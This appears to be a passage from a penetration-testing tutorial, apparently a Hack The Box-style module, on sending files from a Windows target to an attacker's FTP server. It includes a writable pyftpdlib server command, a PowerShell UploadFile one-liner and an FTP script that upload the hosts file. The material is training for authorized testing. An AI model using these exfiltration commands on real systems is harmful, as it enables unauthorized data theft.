Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.
sudo python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('<ftp://192.168.49.128/ftp-hosts>', 'C:\\Windows\\System32\\drivers\\etc\\hosts')
C:\\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\\htb> echo USER anonymous >> ftpcommand.txt
C:\\htb> echo binary >> ftpcommand.txt
C:\\htb> echo PUT c:\\windows\\system32\\drivers\\etc\\hosts >> ftpcommand.txt
C:\\htb> echo bye >> ftpcommand.txt
C:\\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\\windows\\system32\\drivers\\etc\\hosts
ftp> bye